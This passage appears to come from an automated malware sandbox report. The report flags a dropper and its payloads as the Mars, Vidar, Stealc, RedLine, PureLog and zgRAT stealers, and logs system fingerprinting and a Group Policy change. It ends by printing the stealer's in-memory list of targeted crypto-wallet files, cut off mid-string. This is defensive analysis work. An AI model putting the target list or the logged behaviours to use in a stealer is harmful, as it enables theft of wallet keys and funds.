Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_041007D3
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_041007D5
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_041008FE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_0410019A
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_04100A05
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_04100AD2
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_040F7358
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	8_2_00414570

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u5do.1.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_0040996D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_0040996D

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

8_2_004143C0

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

8_2_004144B0

Source: C:\Users\user\Desktop\file.exe

0_2_00403532

Lowering of HIPS / PFW / Operating System Security Settings

Modifies Group Policy settings

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: Amcache.hve.29.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.29.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\hmgv, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5do.0.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5do.0.exe PID: 2968, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session 